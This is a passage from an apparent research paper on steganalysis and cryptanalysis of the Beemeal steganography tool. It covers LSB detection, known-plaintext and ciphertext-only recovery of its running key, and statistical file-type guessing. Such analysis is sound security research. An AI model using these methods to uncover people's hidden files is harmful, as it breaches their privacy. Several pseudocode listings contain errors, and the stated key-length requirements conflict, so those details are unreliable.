it,  as a maximum of one bit per byte is used), then after that, the content of the file to hide is 
inserted.
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Figure 2: The LSB insertion technique with the BMP format.

Is automatic steganalysis possible in case of Beemeal?

The goal is to determine whether it’s possible to detect that a given BMP file contains a hidden file 
or not,  and if  automatic detection is  possible,  evaluate the false detection rate and work factor 
(Fridrich, 2000).

First of all, as it was mentioned in the previous part, Beemeal uses 4 bytes to save the size of the file 
whose content is to be hidden into the picture. Thus by extracting these four bytes, we can easily 
determine which part of the BMP file contains the hidden file, and which part (the remaining part if 
any, see figure 2) does not contain any hidden content.

So the first criteria that will permit us to reject many BMP files are:

• The byte 0 and byte 1 of the file must have the values 0x42 and 0x4D that are the magic 
numbers for the BMP files (more on this later), you can notice that we don’t use the file’s 
extension for file type identification because anybody or any program could have modified 
the file’s extension, so our type detection algorithm can’t rely upon the filename’s extension..

• The BMP file must have a colour depth of 24 bits.
• Extract the “body size” from the BMP file (4 bytes) and if this size is greater than the BMP 

file size, then it means that the value found for the body size was not inserted by the tool, 
thus we can reject this BMP file.

Now, from this point, if we consider a huge set of virgin BMP files, we will still find many of them 
that match these criteria. Thus we need to find another criterion to reduce the false positive rate.

To find this criterion, we must understand what a BMP file is: a sequence of pixel, each pixel being 
composed of a colour coded on 24 bits, and in a picture the same colour can be found on very large 
sequences of pixels, thus when analysing the value of the LSB for a large number of BMP files, we 
can see that the balance between the 0 and the 1 when considering only the LSB is very unbalanced 
by nature. The important point is that after being used as a carrier, the part of the BMP file that 
contains the content of the hidden file has an abnormally balanced number of 0 and 1.



Figure 3: Two different representations of a BMP file (without header).

After several experiments, It  has been determined that a sequence of 50 contiguous 0 or 1 is a 
maximum for a BMP stego-image. But this limit is not sufficient, because some files can be very 
small, thus we need to evaluate the balance between 0 and 1 in the part of the BMP file containing 
the body of the hidden file. For that we use the following algorithm:

Algorithm 1: balance evaluation in BMP body

Input: 

longest_zero_in_body: the size of the longest sequence of contiguous

                                     zeroes in the BMP body.

longest_one_in_body : the size of the longest sequence of contiguous

                                     one in the BMP body.

Output:

percent_delta_in_body: the computed delta between the percentages of 

                                      one and the percentage of zero in the body.

Complexity:

O (n): linear with the size of the BMP file.

Method

1:  Begin

2:    total_nb_bit  longest_zero_in_body + longest_one_in_body

3:    percent_zero_in_body  (longest_zero_in_body * 100.0) / total_nb_bit

4:    If percent_zero_in_body > percent_one_in_body Then

5:      percent_delta_in_body  percent_zero_in_body - percent_one_in_body

6:    Else

7:      percent_delta_in_body  percent_one_in_body - percent_zero_in_body

8:    Endif

9:    Return percent_delta_in_body

10: End

Now we can use the value returned by this algorithm to elaborate the final criterion:

A BMP file contains a hidden file that was inserted using a steganography tool if:

• The longest sequence of contiguous 0 in the body must not exceed 50.
• The longest sequence of contiguous 1 in the body must not exceed 50.
• The ratio of the balance between the 0 and the 1 within the body part of the BMP file must be 

lower or equal to 50%, in other words in the body part, the unbalance between the 0 and the 1 
must not be too high.

To sum up, a given file is detected as being a BMP picture containing a hidden file if:



• The byte 0 and byte 1 of the file must have the values 0x42 and 0x4D (magic number for the 
BMP file, so we don’t use the file’s extension for file identification).

• The BMP file must have a colour depth of 24 bits.
• Extract the “body size” from the BMP file (4 bytes) and if this size is greater than the BMP 

file size then it means that the value found for the body size was not a value inserted by the 
tool, thus we can reject this BMP file.

• The longest sequence of contiguous 0 in the body must not exceed 50.
• The longest sequence of contiguous 1 in the body must not exceed 50.
• The ratio of the balance between the 0 and the 1 within the body part of the BMP file must be 

lower or equal to 50%, in other words in the body, the unbalance between the 0 and the 1 
must not be too high.

In practice, experiments have been performed using an automatic tool (created for this purpose) on 
about 3700 BMP files that did not contain any hidden data, and no false positive occurred, in other 
words  none  of  them  were  considered  by  the  automatic  tool  to  be  containing  a  hidden  file 
(percentage of false positive is zero).

After that, we used Beemeal to hide some files in other BMP files, and ran the automatic detection 
tool again, and it detected the stego-image files with a detection rate of 100%, in other words all 
pictures containing a hidden file were properly detected. The work factor of the detection algorithm 
is extremely low: it takes less than 1/10th of second on a single modern PC to determine whether a 
given BMP is a stego-image or not.

Notice that if Beemeal would have distributed the data evenly, in other words, if Beemeal would 
have chosen randomly the bytes to use for LSB insertion, it would have been much more difficult to 
perform a successful detection of the stego-image.

Now the last point concerning the automatic detection is: can we distinguish between a stego-image 
generated by Beemeal, and a stego-image generated by another tool.

Unfortunately, the answer is no. 

To determine that, we used another tool called WbStego. This tool uses the same LSB insertion 
method. Thus the formula that we use to determine whether a file was inserted into the picture tells 
us that a picture inserted using WbStego contains a  hidden file.  In other  words a tool such as 
WbStego modify the balance between the 0 and the 1 similarly as the Beemeal tool, thus it is not 
possible to distinguish between these two tools.

Beemeal running key cipher mechanism



Keyfile (at least 1024 bytes long)

Passphrase (at least 256 bytes long)

Original BMP file

File to insert into the picture

Beemeal
Stegano

cryptography
Tool

Encrypted file 
Beemeal
Stegano

cryptography
Tool

Destination BMP file
Containing the encrypted
Original file

Beemeal Stegano-cryptography  Tool
The insertion procedure

Figure 4: Schematic overview of the cipher step

Keyfile (at least 1024 bytes long)

Passphrase (at least 256 bytes long)

Picture containing the 
previously inserted file .

Beemeal
Stegano

cryptography
Tool

Encrypted file 

Beemeal
Stegano

cryptography
Tool

Original file that was 
previously inserted 
into BMP picture 

Beemeal Stegano-cryptography  Tool
The extraction procedure

Figure 5: Schematic overview of the decipher step



Cipher / Decipher algorithm description
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Figure 6: Entities involved in the cipher/decipher process.

The  algorithm used  is  a  symmetric  algorithm consisting  in  a  running key cipher  whose  value 
depends on both the keyfile and the key (passphrase).

The keyfile can be any kind of file but its size must be greater or equal to the size of the plaintext, 
and the passphrase can be any ASCII string whose length is at least 1024 bytes.

The keyfile and the key (passphrase) are used to generate a running key which can be seen as a 
stream generator (more on this later). The initial value of the running key depends on both keyfile 
and key as follows:

Running key initial value  hash keyfile + hash key

When talking about hash, we immediately think about MD5 or SHA-1, in the case of Beemeal, 
however,  we  had  better  call  it  a  pseudo-hash  instead.  Here  follows  the  pseudo-code  for  the 
algorithms that permit to compute these pseudo-hashes:

Algorithm 2: file pseudo-hash calculation

Input: 

Filename: the name of the file whose pseudo-hash is to be computed.

Output:

Integer: the pseudo-hash for the file whose name was given as a parameter.

Complexity:

O (n), linear with the size of the file whose name is given as a parameter.

Method

1:  Begin



2:    open file whose name was given as a parameter

3:    hash  0

4:    ic  next byte from opened file

5:    i  0

6:    While end of file not reached

7:      hash  hash + ((1000 * i) * ic)

8:      i  i + 1

9:      ic  next byte from opened file

10:   EndWhile

11:   close the opened file.

12:   Return (hash)

13: End

Algorithm 3: string pseudo-hash calculation

Input: 

Passphrase: the string whose pseudo-hash is to be computed.

Output:

Integer: the pseudo-hash for the passphrase string given as a parameter.

Complexity:

O (n), linear with the length of the string whose value is passed as the ‘passphrase’ parameter.

Method

1:  Begin

2:    hash  0

3:    string_size  length of the passphrase parameter (in bytes)

4:    i  0

5:    While i < string_size

6:      hash  hash + ((1000 * i) * passphrase[i])

7:      i  i + 1

8:    EndWhile

9:   Return (hash)

10: End

To cipher a given byte, the following operation is performed:



Ciphertext[i]   (plaintext[i] + running key) mod 256

Running key   (running key + keyfile[i]) mod 256

And to decipher a given byte:

Plaintext[i]    (ciphertext[i] – running key) mod 256

Running key   (running key + keyfile[i]) mod 256

In other words, the cipher/decipher algorithm just performs a simple addition (resp subtraction) of 
the plaintext (resp ciphertext) with the running key whose initial value depends on both the key and 
the keyfile, and whose evolution depends on the keyfile’s content. Notice that all calculus when 
ciphering/deciphering is done modulo 256 (because the results are stored into a single byte).

Before starting to talk about the possible attacks, we must pay attention to the fact that the keyfile 
and the running key are two different things: 

• The keyfile is fixed and not dependant on the key. 
• The running key is evolving from the initial value (using keyfile’s hash and key’s hash) by 

addition modulo 256, and is similar to a stream that is combined with the plaintext to obtain 
the ciphertext (see figure 7).

KEY (PASSPHRASE)

RUNNING
KEY

GENERATOR
0xFE, 0xA0, 0xE2, 0x51, 0x2F, 0x57, 0xBD….

DATA STREAM
KEYFILE

(any kind of file)

Figure 7: Running key generation principle 

Goal of the attacks

We will describe two types of attacks:

• Known plaintext attack.
• Ciphertext only attack.

Before starting to describe each of them, we have to define our goal for these attacks.

The first thing that we could want is the plaintext for all of the associated ciphertext, but this goal 
won’t permit us to decrypt easily other ciphered files in the future, or there will be still the same 
work factor to be spent to decrypt the futures files. That’s why our goal will be to generate the 
running key file  instead (actual “stream” with which the plaintext is  melt  with by the addition 
modulus 256 operator), so that the work factor of the attacks will be spent once and all subsequent 



attacks will consist in using this running key, thus reducing the work factor to almost zero. With the 
running key,  we can decrypt any subsequent ciphered files,  based on the assumption that these 
ciphered files were ciphered using the same keyfile and the same key (passphrase), this is a quite 
good assumption for 3 reasons:

• Beemeal compel the use of a very long key (longer or equal to 1024 bytes), thus users will 
probably save the key into a file and then reuse it.

• Because the key is very long, the user will believe that reusing the same key will be harmless 
and will not cause any security breach.

• Beemeal make no check and no assumption about the keyfile that was used to cipher the 
plaintext, thus no error message is displayed in case of error. In other words, if you can’t 
remember  with  which  keyfile  you  have  enciphered,  then  Beemeal  will  never  tell  you 
anything to help about that,  that’s  what  makes this  tool  so difficult  to  break,  but  it  also 
induces a bad behaviour for the user who will have the tendency to reuse n times the same 
keyfile in order to avoid problems when trying to decipher files that were previously inserted.

Context of the real attack

In order to avoid being too theoretical, and also to help understanding and to prove the concepts 
used, we will perform the experiments using the following configuration:

FILE DESCRIPTION FILE TYPE FILE SIZE

TXT plaintext (ASCII English) TXT 38'294

BMP plaintext (24 bit colour) BMP 33'126

JPG plaintext JPG 41'944

Microsoft plaintext DOC 38'912

keyfile JPG 944'418

Table 1: All files used in our scenario

Computer used to perform the attack:

We use 2 different computers to perform our attacks, one computer is a recent computer (at the date 
2008/02/27), and another one is an older computer, the purpose of the old computer is to give an 
idea  of  what  can  be  done  with  a  cheaper  hardware  configuration.  These  two  computers 
configuration are as follows:

DESCRIPTION OS CPU CPU FREQUENCY RAM

modern computer Windows XP Intel core 2 2.13 GHZ 2 GB

old computer Windows XP Intel Pentium III 931 MHZ 256 MB

Table 2: list of computer configurations used for the attacks



Length of the plaintext file

We have seen that the cipher and insertions algorithms were not modifying the size of the resulting 
file (contrarily to the El-Gamal cryptosystem for example), thus we have:

Size of the plaintext = size of the ciphertext.

Furthermore, in order to be able to extract the file from the image, Beemeal saves the size of the file 
using 4 bytes into the picture (of course according to the LSB scheme used, it will actually consume 
4 * 8 bytes of the BMP file, because only one bit per byte is used during insertion in order to remain 
stealth), thus we know for sure what are the size of both plaintext and ciphertext, and thus when we 
will be trying to generate the running key in several attacks, we will consider that our job is finished 
when we have generated a running key as long as the plaintext (stop condition of the algorithm).

Known plain text attack

The first attack that will be performed on this system is a known plain text attack: we suppose we 
have the plain text (the file to be ciphered and hidden) and also the ciphertext (extracted from the 
picture using the LSB extraction technique and using the fact that the size of the ciphertext is stored 
on 4 bytes into the picture). The goal of the first attack is to retrieve the running key, so that any 
further files that were enciphered using the same key and the same keyfile can be decrypted with a 
very low work factor.

Having the plaintext and the ciphertext, this attack is simple: for each byte of the ciphertext and the 
plaintext:

Running key[i] = ciphertext[i] – plaintext[i]

The complexity of this attack is linear O (n), n being the file size. Thus performing this attack takes 
less than one second even on an old PC (Pentium III, 931 MHZ, and RAM: 256 MB).

To perform this attack we just open both plaintext file and keyfile, and then perform the subtraction 
for each byte, and save this running key result to another file, that can then be used as an input of 
another tool that will be able to decrypt any other files that was ciphered using the same key and 
keyfile. This attack always succeeds and is very fast, so the conclusion of this first attack is that 
Beemeal does not resist to a known plaintext attack, this is due to the simplistic cipher/decipher 
algorithm based on the ‘+’ operator.

This attack may seem unrealistic because the attacker has the original BMP file as well as the stego-
image, however it is actually not as unrealistic as one can think: there is a good probability that the 
BMP used as a carrier will either be a file that was included in the operating system (copied at OS 
installation), or a file found on the internet. Now we can imagine that the attacker has a huge bank 
of known BMP files (could be automatically generated using a robot that collects all possible BMP 
files from the web 24 hours a day), then using an image recognition software (Huanglin, 2003), you 
can find out the original picture matching the stego-image, here follows the description of such a 
system: 



INTERNET

STEGO
IMAGE

IMAGE
RECOGNITION

SOFTWARE

BMP FILE 
COLLECTING

ROBOT

BMP FILE
DATABASE

Dowload BMP files

Search & Retrieve

Save

CARRIER
IMAGE

Find matching picture

Figure 8: Automatic original BMP file search engine.

Magic bytes

Before describing the next attack, we need to talk about a fact about files in general: each file has a 
type, and almost all files have a special structure: in general at least a header, and a body. Within the 
header, the first bytes of the file are in general called “magic bytes” and permit to determine the file 
type even if the file’s extension is absent or incoherent (Hickok, 2005). For the most common file 
types, we have the following magic bytes:

FILE TYPE BYTE 
0

BYTE1 BYTE 2 BYTE 3

BMP 0x42 0x4D - -
JPG 0xFF 0xD8 0xFF 0xE0
MP3 0x49 0x44 0x33 0x03
MP3-ADTS 0xFF 0xFD 0xFA -
ASF 0x30 0x26 0xB2 0x75
TXT-UTF8 0xEF 0xBB - -
UNICODE 0xFF 0xFE - -
EXE/DLL 0x4D 0x5A - -
ZIP 0x50 0x4B 0x03 0x04
GIF 0x47 0x49 - -
AVI 0x52 0x49 - -
MPEG 0x00 0x01 0xBA 0x21
Microsoft 0xD0 0xCF 0xE0 0xA1
Tiff 0x4D 0x4D 0x00 0x2A
GZIP 0x1F 0x8B - -
Windows object file 0x4C 0x01 - -
Unix ELF 0x7F 0x45 0x4C 0x46
PGP public ring 0x99 0x00 - -
Postscript 0x25 0x21 - -

Table 4: Magic bytes for most common files



For information, the UNIX “file” command uses these bytes to identify the type of a given file. 

In  our  case,  we  will  use  these  magic  bytes  as  “guessed  plain  text”  for  the  next  attack  called 
“ciphertext only attack”.

Ciphertext only attack

Now we supposed that we have only the following materials:

N ciphered files of any type that were enciphered using the same key and the same keyfile. The goal 
of this attack is to retrieve the running key that permits to decrypt any subsequent ciphertext with a 
very low work factor, but as this attack is far more difficult to achieve than the previous one, we 
will progress step by step, and with each step we will try to guess more and more bytes of the 
running key.

Step 1: Determine the type of every plaintext file and keyfile

The first important piece of information that we will guess is the type of each plaintext files that 
were used, and also the type of the keyfile.

For that, we first consider all possible ciphertext files and extract the first 2 bytes for each of them 
(beware here the number of operations to perform is not equal to the cross-product, so with 2 bytes 
to guess we have 512 operations to do, not 65536). 

Then we perform a loop to try all possible values (512 different values as we have 2 bytes) for the 
running  key  at  index  0  and  1,  and  for  each  of  these  values,  we  generate  the  corresponding 
plaintext[0] and plaintext[1] using the following formula :

Plaintext [0] = ciphertext [0] – guessed running keyfile [0]

Plaintext [1] = ciphertext [1] – guessed running keyfile [1]

Now that we have all the possible plaintext at offset 0 and 1 for all possible ciphertext files, we can 
check the plaintext [0] and plaintext [1] against the array of well known magic bytes, and evaluate 
the fitness of all possible values of guessed running keyfile [0] and guessed running keyfile [1]: the 
fitness is defined as the number of magic bytes that match the plaintext at index 0 and 1 for a given 
guessed running key.

For example, with a running key of 0xFE at index 0, if we find the plaintext 0x42 and 0x49 when 
considering the first and second ciphertext respectively, then we know that this running key has a 
fitness of 2, as it matches 2 known file’s magic bytes (see BMP magic bytes).

We then gather only the values of guessed running keyfile [0] and guessed running keyfile [1] that 
have the best fitness.

At this point we have a set of elected values for the running keyfile at offset 0 and 1.

An important fact not to forget is that the byte zero of the running key is equal to the sum of the 
hash of the key file and the hash of the key:

(1) Running key initial value = hash keyfile + hash key.

(2) Ciphertext [0] = running key initial value + plaintext [0]

(3) Running key [1] = running key initial value + keyfile [0]

(4) Ciphertext [1] = running key[1] + plaintext[1]



Then the byte one of the running key is obtained by adding to this constant the value of the first 
byte of the keyfile.

We will use this fact to find the value of the first byte of the keyfile: 

Keyfile [0] = guessed running keyfile [1] - guessed running keyfile [0]

Of course this operation is performed using the set of values whose fitness was evaluated to be the 
best in the previous step, thus reducing the work factor drastically.

Now using the value found for keyfile [0], we just have to check this value against the magic bytes 
and gather the values that have the best fitness.

In our particular example (using 4 ciphertext) we found a unique value for keyfile [0] that matches a 
given magic byte, thus we were able to determine the type of the keyfile.

Now that we know the type of the keyfile, we can use the values of the guessed running keyfile[0] 
and guessed running keyfile[1] to determine the values of the corresponding plaintext, so that we 
will be able to determine the type of every plaintext (using the magic bytes array).

For our example, we find the following results using an automatic tool that we created especially 
for that purpose:

Figure 9: Automatic file type detection result

You can notice  that  the types found by the  algorithm match the types  we have chosen in our 
scenario (see table 1). We can also notice that we have only one possible choice of type per file, 
which is a good thing because it will simplify further processes, but even in case there would be 
more than one possible type per file, all the cryptanalysis algorithms were designed to handle this 
cases, so it would not have been a problem.

The work factor for this first step is extremely small because the algorithm uses only the first bytes 
(magic bytes) of every possible ciphertext file. Furthermore, the magic byte database is very small 
as well, so that the overall operation for this step takes less than 0.01 second on an old computer 
(see table 2).

Step 2: Guess plaintext bytes using file type information

For each file type, there exist a sequence of magic bytes, but we can go further: each file type has a 
header (although for some rare exceptions, such as text files), and this header is composed of fields, 
and these  fields  often  have a  small  amount  of  possible  values  (depending on the file  format’s 



specifications, and also depending on the values that are set for this fields in practice, which might 
not follow the file format specifications).

For this step, we will only be interested in fields whose values are constant throughout all possible 
files of a given type.

We could  study each  possible  file  format  using  the  documentation  and  specifications  for  each 
format, but it would last too long and we would not be sure that the implementers have followed 
exactly the specifications.

Thus we created an automatic tool that permits to generate a matrix composed of either numeric 
values when these bytes are constant for all files of the same type, or a ?? If the value may be 
different at this offset for this file type.

The result is called a “profile” and is stored in a human readable text file. 

Notice that we ran this automatic profile generation tool (created for this purpose) on more than 
1000 files for each file type.

To be more precise, we focused on the file types that were found in the step 1:

Jpg, bmp, and Microsoft file (text file is an exception as it is not composed of a header and body).

Here follows the number of sample files used to generate the profiles for each file type:

File type Number of sample files

Microsoft (DOC+XLS) 1000

BMP 3731

JPG 1482

Table 5: Number of samples for each file type

Here follow the profiles for each format: 

Figure 10: DOC + XLS profile



Figure 11: JPG profile

Figure 22: BMP profile

These profiles are now used along with the results of the step 1 to generate what is called a running 
key skeleton. The running key skeleton is similar to a profile except that the ?? are replaced by the 
correct value whenever possible by using all the profiles corresponding to the types of the plaintexts 
associated with each ciphertext.

The algorithm is very simple:

• Create an empty skeleton (only composed of unknown byte: ‘??’).
• Consider the profile associated with every plaintext file type
• Replace the ‘??’ by its value whenever possible using the current profile.

The result of this step is as follows:

Figure 33: skeleton generated using the profiles

The result of this step permitted to generate a part of the running key file, unfortunately, as it uses 
only the common bytes for each type of headers of guessed plaintext file types, we were not able to 
deduce other bytes located after the header using this method.

In order to be able to recover more of the running key, we will have to use another approach.



Step 3: Using the probability

For now we haven’t been able to discover many bytes of the running key.

So we need another approach in order to achieve a greater percentage of successfully guessed data: 
we will use probability rules (Bauer, 2002) (Friedman, 1918).

For that we will introduce the concept of “rich profile”.

A rich profile is a text file that contains the ordered list of all possible bytes at a given offset for a 
given file type, and their associated appearance frequency (and thus probability).

We will generate automatically all these rich profiles using a tool specially created for this purpose.

The rich profile generator will use the same file bank as the normal profile generator, thus using a 
huge amount of files for each format, we will be able to determine which bytes are more likely to 
appear at a given offset of a file whose type is known.

Notice that we limit the rich profile size to 65’536 in order to avoid having too big files (in our 
example, the biggest plaintext file has a size of 41’494 bytes so 65’536 is ok). 

Here follows an extract of a rich profile for the BMP file format

Figure 44:  Extract of the BMP rich profile

Let’s zoom on one given line (probability of occurrence for byte at offset 4) :

Let’s explain this line’s content: this line corresponds to the possible bytes at offset 4 for any given 
BMP file: we see that the value 0x00 is the most probable at this offset with 93.94% of occurrences, 
and then follows the value 0x01 with a percentage of occurrences of 2.01%.

Remember that all these percentages were generated using a large bank of files (3731 files for the 
BMP format).



Notice that only the percentages greater than 0.01% are considered to be relevant, thus any other 
possible bytes at a given offset whose percentage of occurrence would be lower than 0.01% would 
not be included into the list, thus reducing the size of each rich profiles, and also reducing the work 
factor and the memory size needed to contain these lists after parsing.

So we have now 4 rich profiles: one per guessed plain file type (beware though that the text file 
type has a rich profile that is empty, because a special scheme will be used for this file type).

• features_log_txt.rich_profile
• features_log_bmp.rich_profile
• features_log_xls.rich_profile
• features_log_doc.rich_profile
• features_log_jpg.rich_profile

Notice that  the  “doc” and “xls” profiles  are  merged into  a  unique profile  when loaded by the 
automatic decrypt tool because these two formats are very similar.

The merge operation is very simple: 

Load the first rich profile

For each byte of the current rich profile to merge to the first rich profile

If this byte is not already present in the first rich profile then

Add it and its associated probability of occurrence.

Else

Probability  probability of the first rich profile + current probability for this offset

Endif

EndFor

Special case of the text files

In our example, one of the plaintext is a text file. The problem with text files is that we can not 
successfully  generate  a  rich  profile  for  them  because  all  text  files  are  so  different,  and  the 
recurrence is not that high. So we may think that because we won’t have a rich profile for text files, 
they will be useless to us, this is not the case: for all other file types, we use a probability list for 
each byte to generate the byte of the keyfile with the best fitness, but we also generate the byte of 
the plaintext corresponding to the text file, and then we use 2 heuristics to guide our choice:

• If the plaintext byte of the text file is not ASCII printable, then we reject the value of the 
keyfile which permitted to generate this plaintext byte.

• If the plaintext byte of the text file is ASCII printable, then we use a probability matrix 
generated using an English book (Ulysse, James Joyce 783 pages) to assign a fitness to this 
generated byte according to it’s probability of appearance, this fitness being added to all 
other fitness that were computed using the rich profiles. Notice that the plaintext for the text 
file is supposed to be written in English, this assumption may be wrong, in that case, we 
would  have  to  generate  another  probability  matrix  using  another  book corresponding  to 
another chosen language.

The  algorithm  used  to  generate  the  probability  matrix  for  the  text  files  is  quite  simple  and 
corresponds to the following algorithm in pseudo-code:



Algorithm 4: probability matrix generator

Input: 

txt_filename: name of the text file which must be used to generate the probability matrix.

Output:

proba_array: array of real number of size 256: the probability of occurrence for every possible 
characters.

Complexity:

O (n), linear with the size of the file whose name was given as a parameter.

Method

1:  Begin

2:    occurrence_array: array of integer of size 256

3:    i  0

4:    While i < 256

5:      occurrence_array[i]  0

6:      proba_array[i]  0.0

7:    EndWhile

9:    open the text file whose name was given as a parameter

10:   total_nb_occurence  0

11:   current_char  get next byte from text file

13:   While the end of file is not reached

14:     occurrence_array [current_char]  array [current_char] + 1 

15:     total_nb_occurence  total_nb_occurence + 1

16:     current_char  get next byte from text file

17:   EndWhile

18:   close the opened file

20:   i  0

21:   While i < 256

22:     proba_array[i] = (occurrence_array[i] * 100) / total_nb_occurence

23:     i  i + 1

24:   EndWhile

25: End

In order to have results that are not too biased, we use a book having a large number of pages to 
generate statistics about it, here follows the exact description of this book:



Title   : Ulysse

Author : James Joyce 

Number of pages : 783 pages

ISBN : 1404336877

Notice that this book can be found as a huge text file on the internet. It is this text version that was 
used as an input of the algorithm 4.

Of course we could have used some English character frequency tables available on the internet, but 
we have no guarantee that  these data are  correct,  furthermore it  is  a good thing to be able to 
generate our own data, just because if we choose another language, we can generate new statistics 
without having to look for data generated by someone else.

Now in practice, we have had to weigh these characters’ occurrence probability in order to obtain 
the best results: they were obtained when multiplying all the occurrence probabilities by 2, this is 
because we must obtain text file related probabilities that have the same order of magnitude as the 
probabilities coming out from the rich profiles. Otherwise, the influence of the probabilities for the 
text file type would not be relevant because their influence would be too small.

Notice that we ignore the characters having a too small probability because they are considered not 
relevant: all the characters having a probability lower than 0.01 are ignored, that’s the reason why 
the table presented below does not contain all printable characters.

Here follows the generated probabilities before applying the modification that permits to have the 
same order of magnitude as the probabilities from the rich profiles:

Characters frequency distribution for an 800 pages English book (text file)

Character Hex value Frequency Character Hex value Frequency
() 0x20 15.71695 (k) 0x6B 0.668896
(e) 0x65 8.220522 (O) 0x4F 0.635727
(t) 0x74 5.711296 (H) 0x48 0.617413
(o) 0x6F 5.273562 (N) 0x4E 0.565418
(a) 0x61 5.254864 (v) 0x76 0.549794
(n) 0x6E 4.603577 (R) 0x52 0.537627
(i) 0x69 4.462639 (L) 0x4C 0.4937
(s) 0x73 4.222448 (M) 0x4D 0.425376
(h) 0x68 4.042769 (D) 0x44 0.389645
(r) 0x72 3.975854 (C) 0x43 0.347703
(l) 0x6C 3.04903 (B) 0x42 0.336625
(d) 0x64 2.77202 (-) 0x2D 0.322602
() 0x0D 2.097617 (') 0x27 0.287255
() 0x0A 2.097617 (W) 0x57 0.279955
(u) 0x75 1.935099 (G) 0x47 0.279827
(m) 0x6D 1.606222 (P) 0x50 0.261194
(c) 0x63 1.585795 (F) 0x46 0.222325
(g) 0x67 1.510748 (U) 0x55 0.216178
(f) 0x66 1.494419 (Y) 0x59 0.172251



(w) 0x77 1.402403 (:) 0x3A 0.165655
(y) 0x79 1.395551 (?) 0x3F 0.142667
(.) 0x2E 1.371346 ()) 0x29 0.115773
(p) 0x70 1.189426 (() 0x28 0.114812
(,) 0x2C 1.056044 (K) 0x4B 0.108921
(b) 0x62 1.031071 (!) 0x21 0.101686
(E) 0x45 0.908831 (x) 0x78 0.084332
(I) 0x49 0.788383 (V) 0x56 0.079594
(T) 0x54 0.759056 (J) 0x4A 0.078697
(A) 0x41 0.747466 (j) 0x6A 0.072998
(S) 0x53 0.730497 (q) 0x71 0.070053

(z) 0x7A 0.049498

Table 6: character frequency table (English text)

Now let’s explain the algorithm used in this step to recover the running key.

First of all, we will consider the result of the previous step as an input:

Figure 55:  skeleton generated at step 2 using simple profiles

The algorithm will iterate through all the bytes of the running key generated at step 2, until it finds 
an unknown value “??”, then from this unknown value, the algorithm will generate the running key 
that has the best fitness at this location using the probability at this offset for all guessed plaintext 
(found using the rich profiles).

So as you will have noticed, this algorithm is not an exact algorithm but a probabilistic algorithm, it 
means that it’s average behaviour and results should be statistically correct, but such an algorithm 
won’t permit us to have a clean and full decryption (just because sometimes, the file’s content will 
not follow the best probabilities forecasts).

Here follows the pseudo-code for this algorithm:

Algorithm 5: probabilistic running key recovery

Input: running_key : array of integer corresponding to the guessed running key to patch.

running_key_size : number of entry in the running_key array

Output: running_key: array of integer corresponding to the running key after patch.

Complexity: O(N*C*256), N being the running_key size, and C : number of ciphertext



Method

1:  Begin

2:    i  0

3:    While i < running_key_size

4:      If byte is unknown (i.e: the value is ??) then 

5:        total_fitness  0

6:        For all possible values of the keyfile (256 values)    

7:          For all ciphertext

8:            fitness  0

9:            Generate the corresponding plaintext at this offset :

10:           Plaintext  ciphertext – chosen value for keyfile at this offset.

11:           Evaluate fitness of this value of the keyfile for the plaintext 

12:           Generated :

13:           total_fitness  total_fitness + fitness

14:         EndFor

15:         save this total_fitness into a list.

16:       EndFor

17:     Endif

18      

19      Choose the value from the list which corresponds to the greatest total_fitness.

20:     Patch the running key at this offset: replacing the ?? at this offset by the

21:     most probable value using the following formula:

22:     running_key[n]  running_key[n-1] + chosen value of keyfile.

23:     i  i + 1  

24:   EndWhile    

25: End

Results of Algorithm 5:

In order to evaluate the result  of this algorithm, we take the generated running key,  and try to 
decrypt the ciphertext corresponding to the text file in our example (see table 1).

Then we evaluate the percentage of matching content between original plaintext file and decrypted 
text file using a tool designed for this purpose: the result is then:  77, 82% of the file decrypted 
using the generated running key matches the original file. To be less theoretical, we obtain a text file 
that is readable, but contains sometimes some parts that are not decrypted correctly (thus resulting 
in incoherent words), but the major part of the text file was recovered and readable.



To compute the running key file, it takes between 5 to 10 minutes using the following environment:

A single PC:  CPU Intel core 2 (2.13 GHZ), RAM: 2 GB, windows XP (see table 2).

Step 4: Going further: using the BMP file’s particularities

We know that one of the plaintext files is a BMP file. Furthermore we have generated a running key 
in the previous steps that permits to decrypt 77, 82% of the original plaintext corresponding to the 
text file (remember we had 4 different plaintext types: Microsoft, text, jpg, and BMP).

We can use these two facts to decrypt the plaintext corresponding to the BMP file using the simple 
formula:

BMP plain = BMP ciphertext – generated running key.

We obtain a BMP file that is valid but far from perfect compared to the original file, the differences 
between the original BMP file (the plaintext) and the decrypted BMP file is somehow a kind of 
noise.

Let’s try and see if we can enhance the quality of this BMP file so that we can use this enhanced 
BMP file to generate a new and better running key.

Remember that a BMP file is composed of a header and a body (Marv, 1994), when you look at the 
body, it is composed of sequences of triplets (3 bytes), each triplet being the RGB colour of a given 
pixel (for a 24 bit colour depth). BMP body has a very particular feature: the repetition of the same 
triplet in contiguous sequences is a very common thing (sequence recurrence). However, because 
we generated a BMP file that is not perfect, these sequences are damaged. We can use this property 
to “repair” the damaged sequences of triplets and then correct the BMP picture.

For example, let’s consider the following block extracted from the actual BMP file to repair, in 
which the entire block should have the triplet [C1,8A,05] as a value :

Figure 66: Extract of a damaged BMP file



The parts in red represent the values that have been damaged. We will correct these damages using 
a simple algorithm (which can be seen as a noise reduction algorithm):

Algorithm 6: BMP block noise reducer

Input: 

damaged_array: array of bytes representing the BMP block to repair.

damaged_array_size : size of the block to repair.

Output:

best_triplet: Array of bytes of size 3.

Complexity: O(n), n being the size of the block.

Method

1:   Begin

2:     // Prepare an array of frequency for each bytes of a triplet :

3:     Array of Integer : byte_frequency_tab [3] [256]

4:     i  0

5:     k  0

6:     While i < damaged_array_size

7:       While k < 3

8:         byte_frequency_tab[k][i]  0

9:         k  k + 1

10:        EndWhile  

11:      i  i + 1

12:    EndWhile

13:

14:    // Generate statistics for the 3 bytes of all the triplets of the block :

15:    i  0

16:    k  0

17:    While i < damaged_array_size

18:      While k < 3

19:        byte_frequency_tab[k][i]  byte_frequency_tab[k][i] + 1

20:        k  k + 1

21:      EndWhile  

22:      i  i + 1



23:    EndWhile

24:

      25:    // prepare the result arrays

26:    best_triplet[0]  0    

27:    best_triplet[1]  0    

28:    best_triplet[2]  0    

29:

30:    // Determine the best triplet using the frequency array generated

31:    i  0, k 

32:    k  0

33:    While i < 3

34:      While k < 256

35:        If byte_frequency_tab[i][k] > best_triplet[i] Then

36:          best_triplet[i]  byte_frequency_tab[i][k]

37:        EndIf 

38:        k  k + 1

39:      EndWhile

40:      i  i + 1

41:    EndWhile

42: End

Results of algorithm 6:

In order to evaluate the result of this algorithm, we take the corrected BMP file, and we generate a 
new running key file using the corresponding ciphertext file (the BMP ciphertext). Then, using this 
